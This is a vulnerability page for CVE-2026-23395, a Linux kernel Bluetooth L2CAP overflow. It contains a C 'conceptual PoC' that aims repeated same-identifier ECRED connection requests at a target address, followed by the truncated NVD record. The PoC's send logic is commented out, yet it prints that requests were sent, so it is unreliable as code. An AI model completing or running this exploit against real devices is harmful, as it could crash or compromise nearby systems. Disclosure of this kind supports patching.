CVE-2026-23395

/* * Conceptual PoC for CVE-2026-23395 * Triggering the overflow by repeating the Identifier. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> int main(int argc, char **argv) { struct sockaddr_l2 addr = { 0 }; int sock, i; char message[128]; // Setup Bluetooth socket sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); if (sock < 0) { perror("socket"); return -1; } // Target address (needs to be a discoverable device) addr.l2_family = AF_BLUETOOTH; str2ba(argv[1], &addr.l2_bdaddr); addr.l2_psm = htobs(0x1001); // Example PSM if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); close(sock); return -1; } printf("[+] Sending multiple L2CAP_ECRED_CONN_REQ with same ID...\n"); // Send 6 requests with the SAME Identifier (e.g., 0x01) // L2CAP_ECRED_MAX_CID is 5, so 6 triggers overflow in l2cap_ecred_rsp_defer for (i = 0; i < 6; i++) { // Construct raw L2CAP command packet manually or via specific lib // Code 0x17 is L2CAP_ECRED_CONN_REQ // Identifier: 0x01 (Repeated) // Length: ... // Payload: SCID, DCID, etc. // send(sock, packet, length, 0); printf("Request %d sent with ID 0x01\n", i+1); usleep(10000); // Small delay to ensure processing order } printf("[*] Done. Check kernel logs for crash or memory corruption.\n"); close(sock); return 0; }

{"cve": {"id": "CVE-2026-23395", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:40.347", "lastModified": "2026-04-24T15:20:17.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix accepting multiple L2CAP_ECRED_CONN_REQ\n\nCurrently the code attempts to accept requests regardless of the\ncommand identifier which may cause multiple requests to be marked\nas pending (FLAG_DEFER_SETUP) which can cause more than\nL2CAP_ECRED_MAX_CID(5) to be allocated in l2cap_ecred_rsp_defer\ncausing an overflow.\n\nThe spec is quite clear that the same identifier shall not be used on\nsubsequent requests:\n\n'Within each signaling channel a different Identifier shall be used\nfor each successive request or indication.'\nhttps://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-62/out/en/host/logical-link-control-and-adaptation-protocol-specification.html#UUID-32a25a06-4aa4-c6c7-77c5-dcfe3682355d\n\nSo this attempts to check if there are any channels pending with the\nsame identifier and rejects if any are found."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nBluetooth: L2CAP: Corrección para aceptar múltiples L2CAP_ECRED_CONN_REQ\n\nActualmente, el código intenta aceptar solicitudes independientemente del identificador de comando, lo que puede hacer que múltiples solicitudes se marquen como pendientes (FLAG_DEFER_SETUP), lo que puede causar que se asignen más de L2CAP_ECRED_MAX_CID(5) en l2cap_ecred_rsp_defer, causando un desbordamiento.\n\nLa especificación es bastante clara en que el mismo identificador no debe usarse en solicitudes subsiguientes:\n\n'Dentro de cada canal de señalización se utilizará un identificador diferente para cada solicitud o indicación sucesiva.'\nhttps://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-62/out/en/host/logical-link-control-and-adaptation-protocol-specification.html#UUID-32a25a06-4aa4-c6c7-77c5-dcfe3682355d\n\nAsí que esto intenta verificar si hay canales pendientes con el mismo identificador y los rechaza si se encuentra alguno."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "44827F4D-4242-412D-B59A-6D9F5FC547B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.7:-:*:*:*:*:*:*", "matchCriteriaId": " ... (truncated)